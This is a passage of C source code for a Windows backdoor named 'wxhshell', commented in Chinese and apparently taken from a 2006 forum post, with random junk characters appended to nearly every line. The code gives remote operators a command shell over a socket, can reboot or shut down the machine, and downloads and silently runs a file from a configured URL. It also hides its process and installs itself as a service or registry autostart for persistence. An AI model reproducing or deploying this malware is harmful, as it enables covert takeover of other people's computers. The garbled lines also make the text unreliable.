  case '?': { -Cvd3%Jje  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |vd|; " `  
    break; \Yj_U'2"i  
  } <p<6!tdO  
  // 安装 #om Gj&  
  case 'i': { M%:\ry4:  
    if(Install()) >q;| dn9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uB+#<F/c  
    else GOxP{d?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OD}Uc+;K  
    break; f=91 Z_M  
    } ,$!fyi[;C  
  // 卸载 =A5i84y.2u  
  case 'r': { #^RIp>NN9  
    if(Uninstall()) nP*DZC0kE&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 06HU6d ,  
    else ?MywA'N@x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .~I:Hcf/  
    break; :Jyr^0`J  
    } _L)LyQD]T  
  // 显示 wxhshell 所在路径 Gd C=>\]  
  case 'p': { <!t;[ie?y  
    char svExeFile[MAX_PATH]; Gu{1%bb#kL  
    strcpy(svExeFile,"\n\r"); fUvXb>f,  
      strcat(svExeFile,ExeFile); S'RRe84 C  
        send(wsh,svExeFile,strlen(svExeFile),0); Pjq9BK9p  
    break; *As"U99(  
    } J,v024TM  
  // 重启 -5e8m4*  
  case 'b': { L2Cb/!z`c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0>m$e(Z  
    if(Boot(REBOOT)) +mG"m hF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T=w0T-[f  
    else { j 7);N  
    closesocket(wsh); [|$C2Dhw=  
    ExitThread(0); DPY+{5q2  
    } elM<S3  
    break; UHV"<9tk  
    } %d:cC:`  
  // 关机 x%)oL:ue  
  case 'd': { UK'8cz9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (Qw>P42J  
    if(Boot(SHUTDOWN)) ,I|^d.[2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qCVb-f  
    else { w:I!{iX  
    closesocket(wsh); _$A?  
    ExitThread(0); iPCn-DoIS  
    } 'xuxMav6m  
    break; 7lYf+&JZ  
    } pbh>RS=ri  
  // 获取shell DQObHB8L  
  case 's': { = <A0;  
    CmdShell(wsh); zBca$Vp  
    closesocket(wsh); \*5z0A9)5)  
    ExitThread(0); S^1ZsD.  
    break; ??Urm[Y.Z  
  } a"}ndrc*  
  // 退出 I7h v'3u  
  case 'x': { pQZ`dS\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !`H!!Kg0L  
    CloseIt(wsh); c;KMox/  
    break; ,WsG,Q(K  
    } guCCu2OTA%  
  // 离开 OGH,K'l  
  case 'q': { '4GN%xi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bWp)'mx5u  
    closesocket(wsh); 7<:o4\q?m  
    WSACleanup(); eF0FQlMe[  
    exit(1); U |eh  
    break; AH#a+<;a  
        } 6e|uA7i4  
  } D1ik*mDA=  
  } e~he#o[%a  
wKcuIc$  
  // 提示信息 {Gh9(0,B?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CE (zt  
} $<VH~Q<  
  } f\hQ>MLzt  
#xR=U"  
  return; &D|+tu{  
} Qo]qs+  
Dm?:j9o]g  
// shell模块句柄 d=\TC'd"{  
int CmdShell(SOCKET sock) lQgavP W!  
{ 2.{zf r  
STARTUPINFO si; vytO8m%U  
ZeroMemory(&si,sizeof(si)); a&kt!%p:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B$OV^iwxK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6 %`h2Z  
PROCESS_INFORMATION ProcessInfo; p")"t`k7  
char cmdline[]="cmd"; UZ-pN_!Z:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KAVkYL0  
  return 0; ~4#D G^5  
} x'G_z_<V  
Q`O~f<a  
// 自身启动模式 bO('y@)X  
int StartFromService(void) TQ~a5q  
{ 00-2u~D&  
typedef struct Om;` "5  
{ W}k/>V_  
  DWORD ExitStatus; hVz]' ,  
  DWORD PebBaseAddress; 00>knCe6  
  DWORD AffinityMask; aU.!+e%_  
  DWORD BasePriority; EpT^r8I  
  ULONG UniqueProcessId; 8B "^}y\0  
  ULONG InheritedFromUniqueProcessId; &\ad.O/Q  
}   PROCESS_BASIC_INFORMATION; U.Z5;E0:  
0Bkc93  
PROCNTQSIP NtQueryInformationProcess; ;B }4pv}  
lN"@5(5%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -`X`Ff  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V<}chLd,  
WS@"8+re;  
  HANDLE             hProcess; osO\ib_%  
  PROCESS_BASIC_INFORMATION pbi; iTT7<x  
ym` 4v5w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M4 }))  
  if(NULL == hInst ) return 0; 5+b73R3r  
1<Uv4S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6#:V3 ;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >%N,F`^3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g&_f%hx?  
xMpgXB!'  
  if (!NtQueryInformationProcess) return 0; k5}Qx'/l  
pFBK'NE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UsCaO<A  
  if(!hProcess) return 0; 150x$~{/  
8wkt9:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yr.sfPnJK  
E8lq2r=  
  CloseHandle(hProcess); F[B=sI  
p9MJa[}V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '!MKZKer  
if(hProcess==NULL) return 0; s gZlk9x!Q  
6 !Mm")  
HMODULE hMod; qd'Z|'j  
char procName[255]; ts,V+cEA  
unsigned long cbNeeded; *k?y+}E_f  
M`* BS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fCX8s(|F  
v4X ` Ul*  
  CloseHandle(hProcess); Da)_OJYE  
@'Pay)P  
if(strstr(procName,"services")) return 1; // 以服务启动 `0+-:sXZ6  
)g^O'e=m  
  return 0; // 注册表启动 pUu<0a^  
} jnM}N:v  
LXth-j=]  
// 主模块 Zx: h)I  
int StartWxhshell(LPSTR lpCmdLine) Nn?$}g  
{ xbCQ^W2YU|  
  SOCKET wsl; ^8dCFw.rU  
BOOL val=TRUE; vr6YE;Rs  
  int port=0; MlbcJo3  
  struct sockaddr_in door; * ]D{[hV  
wIWO?w2  
  if(wscfg.ws_autoins) Install(); fMM%,/b{  
00r7trZW^  
port=atoi(lpCmdLine); d*U<Ww^q  
iG=Di)O  
if(port<=0) port=wscfg.ws_port; #D ]CuSi  
,.|/B^jV  
  WSADATA data; Q/h-Kh mz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +A$>F@u  
*q[;-E(fZ#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6 =G=4{q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j0{Qy;wP )  
  door.sin_family = AF_INET; >V\^oh)t]t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |GP&!]  
  door.sin_port = htons(port); 5-&"nn2*}1  
b0x%#trA{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R. vVl+  
closesocket(wsl); PY+4OZ$  
return 1; Qf'g2 \  
} )NqRu+j  
8NJT:6Q7l  
  if(listen(wsl,2) == INVALID_SOCKET) { $(*>]PC+)  
closesocket(wsl); B;piO-hH  
return 1; =NNxe"Kd;U  
} 3kwkU  
  Wxhshell(wsl); W|s" ;EAM  
  WSACleanup(); M7&G9SGZ  
i;29*"  
return 0; hR.vJ2oa  
5/CF_v  
} &$l#0?Kc^  
M23r/eg]  
// 以NT服务方式启动 sN#ju5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $>+g)  
{ kZi/2UA5Z  
DWORD   status = 0; dB:c2  
  DWORD   specificError = 0xfffffff; iHvWJ<"jR  
uW!saT5o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #nAq~@X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;&O *KhLH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +B&+FGfNU  
  serviceStatus.dwWin32ExitCode     = 0; 1Lp; LY"_  
  serviceStatus.dwServiceSpecificExitCode = 0; L9F71bs59  
  serviceStatus.dwCheckPoint       = 0; 9^nRwo  
  serviceStatus.dwWaitHint       = 0; (qz)3Fa  
7QoMroR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \F""G,AWq{  
  if (hServiceStatusHandle==0) return; U;!J(Us  
R-wz+j#  
status = GetLastError(); OEC/'QOae  
  if (status!=NO_ERROR) }u{gQlV  
{ k*Aee7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $2-_j)+  
    serviceStatus.dwCheckPoint       = 0; S.<4t*,  
    serviceStatus.dwWaitHint       = 0; wTG(U3{3K  
    serviceStatus.dwWin32ExitCode     = status; O}}rosA  
    serviceStatus.dwServiceSpecificExitCode = specificError; qL[ SwEc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y hC|hDC  
    return; l@-h.tS  
  } (=EDqAZg  
>vO+k^'Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JZ&_1~Z=  
  serviceStatus.dwCheckPoint       = 0; aeAx0yE[p  
  serviceStatus.dwWaitHint       = 0; cL~YQJYp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^6LnB#C&  
} Ki&a"Fu3  
YBF$/W+=9|  
// 处理NT服务事件,比如:启动、停止 < $otBC/%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Htln <N  
{ & Y2xO  
switch(fdwControl) Bvh{|tP4  
{ 1i'y0]f  
case SERVICE_CONTROL_STOP: 1uB$@a\  
  serviceStatus.dwWin32ExitCode = 0; k,f/9e+#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nr,Z0  
  serviceStatus.dwCheckPoint   = 0; ErQ6a%~,  
  serviceStatus.dwWaitHint     = 0; UP%6s:>:  
  { "^;h'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .0~uM!3y  
  } i$<")q  
  return; ou<,c?nNM  
case SERVICE_CONTROL_PAUSE: >mG64N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Zj1bG{G=i  
  break; 5Z6MQ`(k  
case SERVICE_CONTROL_CONTINUE: ,LxkdV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IOY7w"|LW  
  break; Uqy/~n-v<  
case SERVICE_CONTROL_INTERROGATE: fGRV]6?V  
  break; 5NH4C  
}; 4-Jwy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K>b4(^lf  
} U~;tk@  
+lhCF*@*N  
// 标准应用程序主函数 %H2ios[UO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o P;6i  
{ &g1\0t  
a60rJ#GD  
// 获取操作系统版本 Mw)6,O`  
OsIsNt=GetOsVer(); cUdS{K&K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J_m@YkK  
$ ]#WC\Hv  
  // 从命令行安装 As`=K$^Il.  
  if(strpbrk(lpCmdLine,"iI")) Install(); CH;U_b  
^w2 HF  
  // 下载执行文件 n;Q8Gg2U  
if(wscfg.ws_downexe) { cCNRv$IO\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;gD\JA  
  WinExec(wscfg.ws_filenam,SW_HIDE); SW'eTG  
} Au}l^&,zN  
XoL DqN!  
if(!OsIsNt) { I~@8SSO,vH  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z@f{f:Jc/"  
HideProc(); 7')W+`o8eL  
StartWxhshell(lpCmdLine); { I\og  
} G -+!h4p  
else slUi)@b  
  if(StartFromService()) -B&(& R  
  // 以服务方式启动 gZ7R^] k  
  StartServiceCtrlDispatcher(DispatchTable); UxzF5V5  
else 2Q5@2jT  
  // 普通方式启动 Hbd>sS  
  StartWxhshell(lpCmdLine); w`V6vYd@  
.R'M'a#*!A  
return 0; hqmE]hwc  
}
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只看该作者 1 发表于: 2006-10-10
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